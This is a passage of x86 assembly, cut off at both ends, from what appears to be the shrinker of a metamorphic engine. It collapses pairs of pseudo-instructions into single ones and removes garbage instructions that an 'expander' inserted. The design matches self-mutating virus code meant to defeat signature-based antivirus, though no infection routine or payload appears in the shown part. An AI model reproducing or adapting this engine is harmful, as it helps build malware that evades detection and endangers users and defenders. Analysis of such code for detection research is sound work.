eax ; addition is != 0, end jnz @@Single_End @@Single_Next_LEA_SetADDRegReg: mov eax, [edi+2] ; Set ADD Reg,Reg mov ebx, [edi+1] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [edi+1], eax @@Single_Next_LEA_SetADDRegReg_2: mov eax, 01h ; Pseudo-opcode of ADD Reg,Reg jmp @@Single_SetInstruction @@Single_Next_LEA_SetADD: mov eax, [edi+3] mov [edi+7], eax ; Set memory dword addition as the xor eax, eax ; Imm to add in ADD Reg,Imm jmp @@Single_SetInstruction @@Single_Next_LEA_CheckMOVRegReg: mov eax, [edi+3] ; If the dword addition is 0, set or eax, eax ; MOV Reg,Reg2 jnz @@Single_End @@Single_Next_LEA_SetMOVRegReg: mov eax, 41h ; Pseudo-opcode of MOV Reg,Reg jmp @@Single_SetInstruction @@Single_Next26: cmp eax, 4Fh ; MOV Mem,Mem? jnz @@Single_Next27 mov esi, [edi+7] ; If src == dest, set NOP mov eax, [edi+1] ; This could be, for example, a cmp eax, [esi+1] ; compression of the sequence jnz @@Single_End ; PUSH [EAX+123] / POP [EAX+123] mov eax, [edi+3] cmp eax, [esi+3] jz @@Single_SetNOP @@Single_Next27: cmp eax, 38h ; CMP instruction? jb @@Single_Next28 cmp eax, 3Ch ja @@Single_Next28 @@Single_Next27_Common: mov edx, edi ; Let's get the next instruction. It the @@Single_Next27_GetNextInstr: ; next instruction is not a conditional add edx, 10h ; jump, this CMP is a garbage instruction, mov eax, [edx+0Bh] ; so we NOP it and eax, 0FFh or eax, eax jnz @@Single_SetNOP mov eax, [edx] and eax, 0FFh cmp eax, 0FFh jz @@Single_Next27_GetNextInstr cmp eax, 70h jb @@Single_SetNOP cmp eax, 7Fh ja @@Single_SetNOP jmp @@Single_End @@Single_Next28: cmp eax, 38h+80h ; 8 bits CMP instruction? jb @@Single_Next29 cmp eax, 3Ch+80h jbe @@Single_Next27_Common @@Single_Next29: cmp eax, 48h ; Do the same with TEST. A single test jb @@Single_Next30 ; (without conditional jump) is garbage cmp eax, 4Ch ; for sure. jbe @@Single_Next27_Common @@Single_Next30: cmp eax, 48h+80h ; 8 bits TEST instruction? jb @@Single_Next31 cmp eax, 4Ch+80h jbe @@Single_Next27_Common @@Single_Next31: @@Single_End: ;; Once here we check if it's a 8 bits instruction. If it's the case, ;; we save for later the register it's using (concretely, for register ;; translation). The last one stored here is the one we are using along ;; the engine. mov eax, [edi] ; Get the instruction and eax, 0FFh cmp eax, 80h+00 ; Check if it's a 8 bits opcode jb @@Check_Double cmp eax, 80h+4Ch ja @@Check_Double and eax, 7 or eax, eax ; If it is, check if it's MOV Reg,Imm, jz @@GetFrom_RegImm cmp eax, 1 ; MOV Reg,Reg, jz @@GetFrom_RegReg cmp eax, 2 ; MOV Reg,Mem or jz @@GetFrom_RegMem cmp eax, 3 ; MOV Mem,Reg, and then we get the jnz @@Check_Double ; register and save it, having then @@GetFrom_MemReg: ; the 8 bits register that we are using @@GetFrom_RegMem: ; along the code. This register must be @@GetFrom_RegReg: ; treated specially by the register mov eax, [edi+7] ; translator of the expander, because must and eax, 0FFh ; be one of the general use registers jmp @@GetFrom_OK ; (EAX, ECX, EDX and EBX) @@GetFrom_RegImm: mov eax, [edi+1] and eax, 0FFh @@GetFrom_OK: mov [ebp+Register8Bits], eax ; Save the register ;;; Pairs of instructions. We try to match known pairs to merge them to the ;;; simple one-instruction form. @@Check_Double: mov esi, edi call IncreaseEIP ; Increase pointer and get the second cmp edi, [ebp+AddressOfLastInstruction] ; instruction. jz @@EndNoCompressed mov eax, [edi+0Bh] and eax, 0FFh or eax, eax jnz @@EndNoCompressed ; We don't join instructions with ; labels on them. ;; Pair to check is at <[esi],[edi]> mov eax, [esi] and eax, 0FFh cmp eax, 68h ; Check pair with PUSH Imm jnz @@Double_Next00 mov eax, [edi] and eax, 0FFh cmp eax, 58h ; PUSH Imm/POP Reg? jz @@Double_Next_PutMOVRegImm cmp eax, 59h ; PUSH Imm/POP Mem? jnz @@EndNoCompressed @@Double_Next_PutMOVMemImm: mov eax, [edi+1] mov [esi+1], eax mov eax, [edi+3] mov [esi+3], eax mov eax, 44h ; Set MOV Mem,Imm jmp @@Double_Next_SetInstruction @@Double_Next_PutMOVRegImm: mov eax, [edi+1] mov [esi+1], eax mov eax, 40h ; Set MOV Reg,Imm @@Double_Next_SetInstruction: mov ebx, [esi] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi], eax @@Double_Next_SetNOP: mov eax, 0FFh ; Set NOP at second instruction mov [edi], al jmp @@EndCompressed @@Double_Next00: ;mov al, [esi] cmp eax, 50h ; Check pair beginning with PUSH Reg jnz @@Double_Next01 mov eax, [edi] and eax, 0FFh cmp eax, 58h ; PUSH Reg/POP Reg? jz @@Double_Next_PushPop cmp eax, 0FEh ; PUSH Reg/RET? jz @@Double_Next00_JMPReg cmp eax, 59h ; PUSH Reg/POP Mem? jnz @@Double_End mov eax, [esi+1] mov ebx, [esi+7] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi+7], eax mov eax, [edi+1] mov [esi+1], eax mov eax, [edi+3] mov [esi+3], eax mov eax, 43h ; If PUSH Reg/POP Mem, set MOV Mem,Reg jmp @@Double_Next_SetInstruction @@Double_Next_PushPop: mov eax, [edi+1] mov [esi+7], eax mov eax, 41h ; If PUSH Reg/POP Reg, set MOV Reg,Reg jmp @@Double_Next_SetInstruction @@Double_Next00_JMPReg: mov eax, 0EDh ; If PUSH Reg/RET, set JMP Reg jmp @@Double_Next_SetInstruction @@Double_Next01: ;mov al, [esi] cmp eax, 51h ; Check pair beginning with PUSH Mem jnz @@Double_Next02 mov eax, [edi] and eax, 0FFh cmp eax, 58h ; PUSH Mem/POP Reg? jz @@Double_Next01_PushPop cmp eax, 59h ; PUSH Mem/POP Mem? jnz @@Double_End @@Double_Next01_MOVMemMem: mov [esi+7], edi mov [edi+7], esi mov eax, 4Fh ; If PUSH Mem/POP Mem, MOV Mem,Mem jmp @@Double_Next_SetInstruction @@Double_Next01_PushPop: mov eax, [edi+1] mov ebx, [edi+1] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi+7], eax mov eax, 42h ; If PUSH Mem/POP Reg, set MOV Reg,Mem jmp @@Double_Next_SetInstruction @@Double_Next02: mov eax, [esi+1] cmp eax, [edi+1] jnz @@Double_Next_NoMem mov eax, [esi+3] ; If bytes from +1 to +6 coincides, cmp eax, [edi+3] ; it can be a memory operation with jnz @@Double_Next_NoMem ; the same memory variable. If not, ; just jump to check other things ; From now and while we are checking memory variable using instructions, ; we are sure that they use the same memory variable. mov eax, [esi] and eax, 0FFh cmp eax, 0F6h ; Check if it's APICALL_STORE jz @@Double_Next02_Check ; If it is, jump (it's just like ; a MOV Mem,Reg) cmp eax, 43h ; MOV Reg,Mem? jnz @@Double_Next03 @@Double_Next02_Check: mov eax, [edi] ; Get the second instruction and eax, 0FFh cmp eax, 51h ; PUSH Mem? jz @@Double_Next02_PushReg cmp eax, 4Ch ; OP Mem,Imm? jbe @@Double_Next_OPRegReg cmp eax, 0EAh ; CALL Mem? jz @@Double_Next02_CALLMem cmp eax, 0EBh ; JMP Mem? jnz @@Double_End @@Double_Next02_JMPMem: mov eax, 0EDh ; MOV Mem,Reg + JMP Mem = JMP Reg @@Double_Next02_XXXMem: push eax mov eax, [esi+7] mov ebx, [esi+1] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi+1], eax pop eax jmp @@Double_Next_SetInstruction @@Double_Next02_CALLMem: mov eax, 0ECh ; MOV Mem,Reg + CALL Mem = CALL Reg jmp @@Double_Next02_XXXMem @@Double_Next_OPRegReg: and eax, 7Fh ; Check operation cmp eax, 3Bh ; Check for CMP Mem,Reg jz @@Double_Next02_MergeCheck ; If it is, merge the check cmp eax, 4Bh ; Check for TEST Mem,Reg jz @@Double_Next02_MergeCheck ; If it is, merge cmp eax, 4Ah ; Check for TEST Reg,Mem (in fact, the jz @@Double_Next02_MergeCheck ; same x86 opcode) and eax, 7 cmp eax, 2 ; Check for OP Reg,Mem jnz @@Double_End ; If not, finish mov eax, [esi+7] ; If so, merge it: mov [esi+1], eax ; MOV Mem,Reg + OP Reg,Mem = OP Reg,Reg mov eax, [edi+7] ; We don't care about the two registers mov [esi+7], eax ; being equal, because that is going to ; be checked by the scanning of single ; instructions @@Double_Next02_SetOP: mov eax, [edi] ; Get the OP and eax, 0F8h ; Transform it to OP Reg,Reg add eax, 1 jmp @@Double_Next_SetInstruction @@Double_Next02_MergeCheck: mov eax, [edi+7] mov [esi+1], eax ; Merge the check (if CMP/TEST Reg,Mem) jmp @@Double_Next02_SetOP @@Double_Next02_PushReg: mov eax, [esi+7] mov [esi+1], eax mov eax, 50h ; MOV Mem,Reg/PUSH Mem = PUSH Reg jmp @@Double_Next_SetInstruction @@Double_Next03: ;mov al, [esi] cmp eax, 0C3h ; Check pair beginning with MOV Mem8,Reg8 jnz @@Double_Next04 mov eax, [edi] and eax, 0FFh cmp eax, 00h+80h ; Check if it's a normal operation jb @@Double_End ; (pseudo-opcodes 80-CC) cmp eax, 4Ch+80h jbe @@Double_Next_OPRegReg jmp @@Double_End @@Double_Next04: cmp eax, 44h ; Check if it begins with MOV Mem,Imm jnz @@Double_Next05 mov eax, [edi] and eax, 0FFh cmp eax, 51h ; PUSH Mem? jz @@Double_Next04_PushImm ; Set PUSH Imm cmp eax, 4Ch ja @@Double_Next05 and eax, 7 cmp eax, 2 ; OP Reg,Mem? jnz @@Double_Next05 ; If not, check next pair @@Double_Next_Merge_MOV_OP: mov eax, [edi+7] mov ebx, [esi+1] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi+1], eax mov eax, [edi] and eax, 0F8h ; MOV Mem,Imm + OP Reg,Mem = OP Reg,Imm jmp @@Double_Next_SetInstruction @@Double_Next04_PushImm: mov eax, 68h ; MOV Mem,Imm + PUSH Mem = PUSH Imm jmp @@Double_Next_SetInstruction @@Double_Next05: mov eax, [esi] and eax, 0FFh cmp eax, 44h+80h ; Same as above, but 8 bits operations jnz @@Double_Next06 mov eax, [edi] and eax, 0FFh cmp eax, 00h+80h jb @@Double_Next06 cmp eax, 4Ch+80h ja @@Double_Next06 and eax, 7 cmp eax, 2 jnz @@Double_Next06 jmp @@Double_Next_Merge_MOV_OP @@Double_Next06: mov eax, [esi] and eax, 0FFh cmp eax, 59h ; POP Mem? jnz @@Double_Next_NoMem mov eax, [edi] and eax, 0FFh cmp eax, 42h ; POP Mem + MOV Reg,Mem? jz @@Double_Next06_POPReg cmp eax, 4Fh ; POP Mem + MOV Mem,Mem? jz @@Double_Next06_POPMem cmp eax, 51h ; POP Mem + PUSH Mem? jz @@Double_Next_SetDoubleNOP cmp eax, 0EBh ; POP Mem + JMP Mem? jnz @@Double_Next_NoMem mov eax, 0FEh ; POP Mem + JMP Mem = RET jmp @@Double_Next_SetInstruction @@Double_Next06_POPReg: mov eax, [edi+7] mov [esi+1], eax mov eax, 58h ; POP Mem + MOV Reg,Mem = POP Reg jmp @@Double_Next_SetInstruction @@Double_Next06_POPMem: mov ebx, [edi+7] mov eax, [ebx+1] mov [esi+1], eax mov eax, [ebx+3] mov [esi+3], eax ; POP Mem + MOV Mem2,Mem = POP Mem2 jmp @@Double_Next_SetNOP @@Double_Next_SetDoubleNOP: mov eax, 0FFh ; POP Mem + PUSH Mem = NOP jmp @@Double_Next_SetInstruction @@Double_Next_NoMem: mov eax, [esi] and eax, 0FFh cmp eax, 40h ; MOV Reg,Imm? jnz @@Double_Next07 mov eax, [edi] and eax, 0FFh cmp eax, 42h+80h ; MOV Reg,Imm + MOV Reg8,Mem8? jz @@Double_Next06_MaybeMOVZX cmp eax, 1 ; MOV Reg,Imm + ADD Reg,Reg? jnz @@Double_Next07 mov eax, [esi+1] ; MOV Reg,Imm + ADD Reg,Reg2 = and eax, 0FFh ; = LEA Reg,[Reg2+Imm] mov ebx, [edi+7] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next07 mov eax, [esi+7] mov [esi+3], eax mov eax, [esi+1] mov [esi+7], eax mov eax, [edi+1] and eax, 0FFh mov ebx, [esi+1] and ebx, 0FFFFFF00h add eax, ebx mov [esi+1], eax @@Double_Next06_SetLEA: mov eax, [esi+2] and eax, 0FFFFFF00h add eax, 8 mov [esi+2], eax mov eax, 0FCh jmp @@Double_Next_SetInstruction @@Double_Next06_MaybeMOVZX: mov eax, [esi+7] or eax, eax jnz @@Double_Next07 mov eax, [esi+1] and eax, 0FFh mov ebx, [edi+7] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next07 mov ebx, [edi+1] and ebx, 0FFh cmp eax, ebx jz @@Double_Next07 mov ebx, [edi+2] and ebx, 0Fh cmp eax, ebx jz @@Double_Next07 mov [esi+7], eax mov eax, [edi+1] mov [esi+1], eax mov eax, [edi+3] mov [esi+3], eax mov eax, 0F8h ; MOV Reg,0+MOV Reg8,Mem8=MOVZX Reg,Mem8 jmp @@Double_Next_SetInstruction @@Double_Next07: mov eax, [esi] and eax, 0FFh cmp eax, 41h ; MOV Reg,Reg? jnz @@Double_Next08 mov eax, [edi] and eax, 0FFh or eax, eax ; MOV Reg,Reg + ADD Reg,Imm? jz @@Double_Next07_LEA01 cmp eax, 1 ; MOV Reg,Reg + ADD Reg,Reg? jnz @@Double_Next08 mov eax, [esi+7] and eax, 0FFh mov ebx, [edi+7] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next08 mov eax, [edi+1] mov [esi+2], eax xor eax, eax mov [esi+3], eax ; MOV Reg,Reg2 + ADD Reg,Reg3 = mov eax, 0FCh ; = LEA Reg,[Reg2+Reg3] jmp @@Double_Next_SetInstruction @@Double_Next07_LEA01: mov eax, [esi+7] and eax, 0FFh mov ebx, [edi+1] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next08 mov eax, [edi+7] ; MOV Reg,Reg2 + ADD Reg,Imm = mov [esi+3], eax ; = LEA Reg,[Reg2+Imm] jmp @@Double_Next06_SetLEA @@Double_Next08: mov eax, [esi] and eax, 0FFh or eax, eax ; ADD Reg,Imm? jnz @@Double_Next09 mov eax, [edi] and eax, 0FFh cmp eax, 01h ; ADD Reg,Imm + ADD Reg,Reg2? jnz @@Double_Next09 mov eax, [esi+1] and eax, 0FFh mov ebx, [edi+7] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next09 mov eax, [edi+1] mov [esi+2], eax mov eax, [esi+7] mov [esi+3], eax mov eax, [esi+1] mov [esi+7], eax mov eax, 0FCh ; Merge to LEA jmp @@Double_Next_SetInstruction @@Double_Next09: mov eax, [esi] and eax, 0FFh cmp eax, 01h ; ADD Reg,Reg? jnz @@Double_Next10 mov eax, [edi] and eax, 0FFh or eax, eax ; ADD Reg,Imm? jnz @@Double_Next10 mov eax, [esi+7] cmp al, [edi+1] jnz @@Double_Next10 mov eax, [esi+1] mov [esi+2], al mov eax, [esi+7] mov [esi+1], al mov eax, [edi+7] mov [esi+3], eax mov eax, 0FCh ; Merge to LEA jmp @@Double_Next_SetInstruction @@Double_Next10: xor eax, eax mov al, [esi] cmp eax, 4Ch ; Generic OP? ja @@Double_Next11 mov al, [edi] cmp eax, 4Ch ; Generic OP + Generic OP? ja @@Double_Next11 mov eax, [esi] and eax, 7 cmp eax, 4 ; OP Mem,Imm + Generic OP? jz @@Double_Next10_OPMemImm or eax, eax ; OP Reg,Imm + Generic OP? jnz @@Double_Next11 @@Double_Next10_OPRegImm: mov eax, [edi] and eax, 7 or eax, eax ; OP Reg,Imm + OP Reg,Imm? jnz @@Double_Next11 mov eax, [esi+1] cmp al, [edi+1] ; 1st Reg == 2nd Reg? jnz @@Double_Next11 xor ebx, ebx @@Double_Next_CalculateOperation: push ebx mov ecx, [esi+7] mov edx, [edi+7] @@Double_Next_CalculateOperation_2: mov eax, [edi] and eax, 78h ; Get 2nd OP mov ebx, eax mov eax, [esi] and eax, 78h ; Get 1st OP call CalculateOperation ; Merge the operations pop ebx cmp eax, 0FEh ; Can be merged? jz @@Double_End ; If not, check triplet cmp eax, 0FFh ; OP Reg,Imm + MOV Reg,Imm? jz @@Double_Next_SetNOPAt1st ; Then, eliminate first mov [esi+7], ecx add eax, ebx ; Set merged operation jmp @@Double_Next_SetInstruction @@Double_Next_SetNOPAt1st: mov eax, 0FFh ; Set NOP at first instruction mov [esi], al jmp @@EndCompressed ; Return with success @@Double_Next10_OPMemImm: mov eax, [edi] and eax, 7 cmp eax, 4 ; OP Mem,Imm + OP Mem,Imm? jnz @@Double_Next11 mov eax, [esi+1] cmp eax, [edi+1] ; Are mem operands the same? jnz @@Double_Next11 mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_Next11 mov ebx, 4 ; If so, jump to try merging OPs jmp @@Double_Next_CalculateOperation @@Double_Next11: xor eax, eax mov al, [esi] ; Do the same as above, but with cmp eax, 00h+80h ; 8 bits operations jb @@Double_Next12 cmp eax, 4Ch+80h ja @@Double_Next12 mov al, [edi] cmp eax, 00h+80h jb @@Double_Next12 cmp eax, 4Ch+80h ja @@Double_Next12 mov eax, [esi] and eax, 7 cmp eax, 4 jz @@Double_Next11_OPMemImm_8b or eax, eax jnz @@Double_Next12 @@Double_Next11_OPRegImm_8b: mov eax, [edi] and eax, 7 or eax, eax jnz @@Double_Next12 mov ebx, 80h @@Double_Next11_CalculateOperation_8b: push ebx xor eax, eax mov al, [esi+7] mov ecx, eax mov al, [edi+7] mov edx, eax jmp @@Double_Next_CalculateOperation_2 @@Double_Next11_OPMemImm_8b: mov eax, [edi] and eax, 7 cmp eax, 4 jnz @@Double_Next12 mov eax, [esi+1] cmp eax, [edi+1] jnz @@Double_Next12 mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_Next12 mov ebx, 84h jmp @@Double_Next11_CalculateOperation_8b @@Double_Next12: xor eax, eax mov al, [esi] cmp eax, 0FCh ; LEA? jnz @@Double_Next13 mov al, [edi] cmp eax, 01h ; LEA + ADD Reg,Reg? jz @@Double_Next12_MergeLEAADDReg or eax, eax ; LEA + ADD Reg,Imm? jnz @@Double_Next13 @@Double_Next12_MergeLEAADD: mov eax, [esi+7] ; Check if destiny in LEA is the same cmp al, [edi+1] ; as destiny in ADD jnz @@Double_Next13 mov eax, [edi+7] ; If so, add the Imm of the ADD to the add [esi+3], eax ; dword addition in the LEA and set jmp @@Double_Next_SetNOP ; NOP at first instruction @@Double_Next12_MergeLEAADDReg: mov eax, [esi+7] cmp al, [edi+7] ; Check if destinies are the same jnz @@Double_Next13 mov eax, 8 cmp al, [esi+1] ; Look for a free space to insert the jz @@Double_Next12_SetFirstReg ; register addition in the cmp al, [esi+2] ; LEA jz @@Double_Next12_SetSecondReg mov eax, [edi+1] ; If the register is already inserted, cmp al, [esi+2] ; set a *2 in the multiplicator jz @@Double_Next12_AddScalar cmp al, [esi+1] jnz @@Double_Next13 mov eax, [esi+2] cmp al, 40h ; If multiplicator is already *2 or jae @@Double_Next13 ; greater, don't shrink push eax ; Exchange registers, to set the one mov eax, [esi+1] ; repeated in the second slot of the add eax, 40h ; indexes. mov [esi+2], al ; Set *2 pop eax mov [esi+1], al jmp @@Double_Next_SetNOP ; Eliminate first instruction @@Double_Next12_AddScalar: mov eax, [esi+2] ; Set *2 to the second index add eax, 40h mov [esi+2], al jmp @@Double_Next_SetNOP @@Double_Next12_SetFirstReg: mov eax, [edi+1] ; Set a new index register mov [esi+1], al jmp @@Double_Next_SetNOP @@Double_Next12_SetSecondReg: mov eax, [edi+1] ; Set a new second index register mov [esi+2], al jmp @@Double_Next_SetNOP @@Double_Next13: xor eax, eax mov al, [esi] cmp eax, 4Fh ; MOV Mem,Mem? jnz @@Double_Next14 mov al, [edi] cmp eax, 4Fh ; MOV Mem,Mem2 + MOV Mem2,Mem3? jz @@Double_Next13_MergeMOVs ; Then, merge them cmp eax, 4Ch ja @@Double_Next13_NotOPRegMem @@Double_Next13_OPRegMem_2: and eax, 7 cmp eax, 2 ; MOV Mem,Mem2 + OP Reg,Mem? jz @@Double_Next13_OPRegMem mov al, [edi] jmp @@Double_Next13_NotOPRegMem2 @@Double_Next13_NotOPRegMem: cmp eax, 00h+80h ; Same with 8 bits? jb @@Double_Next13_NotOPRegMem2 cmp eax, 4Ch+80h jbe @@Double_Next13_OPRegMem_2 @@Double_Next13_NotOPRegMem2: cmp eax, 43h ; Merge MOVs jz @@Double_Next13_MOVMemReg cmp eax, 0F6h ; APICALL_STORE = MOV Mem,EAX jz @@Double_Next13_MOVMemReg cmp eax, 44h ; MOV Mem,Mem2 + MOV Mem2,Imm? jz @@Double_Next13_MOVMemImm cmp eax, 0EAh ; MOV Mem,Mem2 + CALL Mem? jz @@Double_Next13_CALLMem cmp eax, 0EBh ; MOV Mem,Mem2 + JMP Mem? jnz @@Double_Next14 @@Double_Next13_JMPMem: @@Double_Next13_CALLMem: @@Double_Next13_OPRegMem: mov ebx, [esi+7] ; Merge Mem operands mov eax, [ebx+1] cmp eax, [edi+1] jnz @@Double_Next14 mov eax, [ebx+3] cmp eax, [edi+3] jnz @@Double_Next14 mov eax, [esi+1] mov [edi+1], eax mov eax, [esi+3] mov [edi+3], eax jmp @@Double_Next_SetNOPAt1st @@Double_Next13_MergeMOVs: mov ebx, [esi+7] ; MOV Mem,Mem2 + MOV Mem2,Mem3 = mov eax, [ebx+1] ; = MOV Mem,Mem3 cmp eax, [edi+1] jnz @@Double_Next14 mov eax, [ebx+3] cmp eax, [edi+3] jnz @@Double_Next14 mov eax, [edi+7] mov [esi+7], eax mov [eax+7], esi jmp @@Double_Next_SetNOP @@Double_Next13_MOVMemReg: @@Double_Next13_MOVMemImm: mov ebx, [esi+7] ; MOV Mem,Mem2 + MOV Mem2,Reg/Imm = mov eax, [ebx+1] ; = MOV Mem,Reg/Imm cmp eax, [edi+1] jnz @@Double_Next14 mov eax, [ebx+3] cmp eax, [edi+3] jz @@Double_Next_SetNOPAt1st @@Double_Next14: xor eax, eax mov al, [esi] cmp eax, 70h ; Jcc? jb @@Double_Next15 cmp eax, 7Fh ja @@Double_Next15 mov al, [edi] cmp eax, 0E9h ; Jcc + JMP? jz @@Double_Next14_CheckJMP cmp eax, 70h jb @@Double_Next15 cmp eax, 7Fh ; Jcc + Jcc? ja @@Double_Next15 mov eax, [edi+1] ; Check if they point to the next cmp eax, [esi+1] ; label jnz @@Double_Next15 mov eax, [esi] and eax, 0Fh mov ebx, eax mov eax, [edi] and eax, 0Fh ; EAX = Flag test 1 ; EBX = Flag test 2 call GetRealCheck ; Merge the flag checking cmp eax, 0FFh jz @@Double_End add eax, 70h ; Add 70 to the result cmp eax, 0E9h ; If Jcc + Jcc == JMP, set it, and jump jz @@Double_Next32_JMP ; to eliminate the code until the ; next label jmp @@Double_Next_SetInstruction @@Double_Next14_CheckJMP: mov eax, [edi+1] ; Jcc @123 + JMP @123 = JMP @123 cmp eax, [esi+1] jz @@Double_Next_SetNOPAt1st jmp @@Double_End @@Double_Next15: ; mov edx, 40h ; call Check_OP_MOV ; cmp eax, 0FFh ; This makes many problems! ; jz @@Double_Next_SetNOPAt1st ; ; Disabled. @@Double_Next16: ; mov edx, 0C0h ; call Check_OP_MOV ; cmp eax, 0FFh ; jz @@Double_Next_SetNOPAt1st @@Double_Next17: xor eax, eax mov al, [esi] cmp eax, 0E0h ; NOT Reg? jnz @@Double_Next18 mov ebx, 0E4h ; NOT Reg + NEG Reg? xor ecx, ecx mov edx, 1 ; Set ADD Reg,1 @@Double_Next_Check_NOT_OP: xor eax, eax mov al, [edi] cmp eax, ebx ; 0E4h jz @@Double_Next17_ADDReg ; Check NOT/NEG + ADD,1/-1 cmp eax, ecx ; 00h jnz @@Double_End @@Double_Next17_NEGReg: mov eax, [esi+1] cmp al, [edi+1] jnz @@Double_End @@Double_Next17_NEGReg_2: test ebx, 2 jz @@Double_Next17_Get32 xor eax, eax mov al, [edi+7] cmp eax, 80h jb @@Double_Next17_Cont00 add eax, 0FFFFFF00h jmp @@Double_Next17_Cont00 @@Double_Next17_Get32: mov eax, [edi+7] @@Double_Next17_Cont00: cmp eax, edx jnz @@Double_End mov eax, ebx ; NEG jmp @@Double_Next_SetInstruction @@Double_Next17_ADDReg: mov eax, [esi+1] cmp al, [edi+1] jnz @@Double_End @@Double_Next17_ADDReg_2: mov eax, edx mov [esi+7], eax mov eax, ecx jmp @@Double_Next_SetInstruction @@Double_Next18: ;mov al, [esi] cmp eax, 0E2h ; Check NOT Reg8 + NEG Reg8/ADD Reg8,1 jnz @@Double_Next19 mov ebx, 0E6h mov ecx, 80h mov edx, 1 ; If so, set ADD Reg8,1/NEG Reg8 jmp @@Double_Next_Check_NOT_OP @@Double_Next19: ;mov al, [esi] cmp eax, 0E4h ; NEG Reg + NOT Reg/ADD Reg,-1? jnz @@Double_Next20 mov ebx, 0E0h xor ecx, ecx mov edx, -1 ; If so, set ADD Reg,-1/NOT Reg jmp @@Double_Next_Check_NOT_OP @@Double_Next20: ;mov al, [esi] cmp eax, 0E6h ; NEG Reg8 + NOT Reg8/ADD Reg8,-1? jnz @@Double_Next21 mov ebx, 0E2h mov ecx, 80h mov edx, -1 ; Set ADD Reg8,-1/NOT Reg8 jmp @@Double_Next_Check_NOT_OP @@Double_Next21: cmp eax, 0E1h ; NOT Mem + NEG Mem/ADD Mem,1? jnz @@Double_Next22 mov ebx, 0E5h mov ecx, 4 mov edx, 1 ; Then, set ADD Mem,1/NEG Mem @@Double_Next_Check_NOT_OP_Mem: xor eax, eax mov al, [edi] cmp eax, ebx jz @@Double_Next21_ADDMem cmp eax, ecx jnz @@Double_End @@Double_Next21_NEGMem: mov eax, [esi+1] ; Check if operands are the same cmp eax, [edi+1] jnz @@Double_End mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_End xor eax, eax jmp @@Double_Next17_NEGReg_2 @@Double_Next21_ADDMem: mov eax, [esi+1] ; Check NOT/NEG + ADD,1/-1 cmp eax, [edi+1] jnz @@Double_End mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_End xor eax, eax jmp @@Double_Next17_ADDReg_2 @@Double_Next22: cmp eax, 0E3h ; NOT Mem8 + NEG Mem8/ADD Mem,1? jnz @@Double_Next23 mov ebx, 0E7h mov ecx, 84h mov edx, 1 ; Set ADD Mem8,1/NEG Mem8 jmp @@Double_Next_Check_NOT_OP_Mem @@Double_Next23: cmp eax, 0E5h ; NEG Mem + NOT Mem/ADD Mem,-1? jnz @@Double_Next24 mov ebx, 0E1h mov ecx, 4 mov edx, -1 ; Set ADD Mem,-1/NOT Mem jmp @@Double_Next_Check_NOT_OP_Mem @@Double_Next24: cmp eax, 0E7h ; NEG Mem8 + NOT Mem8/ADD Mem8,-1? jnz @@Double_Next25 mov ebx, 0E3h mov ecx, 84h mov edx, -1 ; Set ADD Mem8,-1/NOT Mem8 jmp @@Double_Next_Check_NOT_OP_Mem ; Next four conditions are also disabled. They would work theorically, but they ; don't in practice :/ @@Double_Next25: ; cmp eax, 38h ; jb @@Double_Next26 ; cmp eax, 3Ch ; ja @@Double_Next26 ; @@Double_Next_CheckComparision: ; mov al, [edi] ; cmp eax, 70h ; jb @@Double_Next_NoComparision ; cmp eax, 7Fh ; jbe @@Double_End ; @@Double_Next_NoComparision: ; jmp @@Double_Next_SetNOPAt1st @@Double_Next26: ; ;mov al, [esi] ; cmp eax, 38h+80h ; jb @@Double_Next27 ; cmp eax, 3Ch+80h ; jbe @@Double_Next_CheckComparision @@Double_Next27: ; ;mov al, [esi] ; cmp eax, 48h ; jb @@Double_Next28 ; cmp eax, 4Ch ; jbe @@Double_Next_CheckComparision @@Double_Next28: ; ;mov al, [esi] ; cmp eax, 48h+80h ; jb @@Double_Next29 ; cmp eax, 4Ch+80h ; jbe @@Double_Next_CheckComparision @@Double_Next29: cmp eax, 0EAh ; CALL Mem + MOV Mem,EAX? jnz @@Double_Next30 @@Double_Next29_CheckAPICALL_STORE: mov al, [edi] cmp eax, 43h jnz @@Double_End mov al, [edi+7] ; Check EAX or eax, eax jnz @@Double_End mov eax, 0F6h mov [edi], al ; Set APICALL_STORE xor eax, eax mov [edi+7], eax ; If we put 0 here we can treat this as jmp @@EndCompressed ; an special opcode 43h (MOV Mem,Reg) @@Double_Next30: cmp eax, 0ECh ; Check CALL Reg + MOV Mem,EAX? jz @@Double_Next29_CheckAPICALL_STORE ; Check APICALL_STORE @@Double_Next31: cmp eax, 42h ; MOV Reg,Mem? jnz @@Double_Next32 mov eax, [edi] and eax, 0FFh cmp eax, 20h ; MOV Reg,Mem + AND Reg,0FF? jz @@Double_Next31_MaybeMOVZX ; Set MOVZX mov al, [esi+7] cmp eax, 2 ; EAX,ECX,EDX? (it only uses these three) ja @@Double_Next32 cmp al, [edi+1] jnz @@Double_Next32 mov al, [edi] cmp eax, 0ECh ; CALL Reg? jnz @@Double_Next32 sub eax, 2 ; MOV Reg,Mem + CALL Reg = CALL Mem jmp @@Double_Next_SetInstruction @@Double_Next31_MaybeMOVZX: mov eax, [edi+7] ; Check MOVZX. We check if the destiny cmp eax, 0FFh ; registers are the same one jnz @@Double_Next32 mov eax, [esi+7] and eax, 0FFh mov ebx, [edi+1] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next32 mov eax, [esi+1] and eax, 0FFh ; AND Reg,0FF? cmp eax, ebx jz @@Double_Next32 mov eax, [esi+2] and eax, 0Fh ; Set the register cmp eax, ebx jz @@Double_Next32 mov eax, 0F8h ; Set MOVZX Reg,byte ptr Mem jmp @@Double_Next_SetInstruction @@Double_Next32: xor eax, eax mov al, [esi] cmp eax, 39h ; CMP Reg,Reg? jnz @@Double_Next33 @@Double_Next32_Common: mov al, [edi] cmp eax, 70h ; CMP Reg,Reg + Jcc 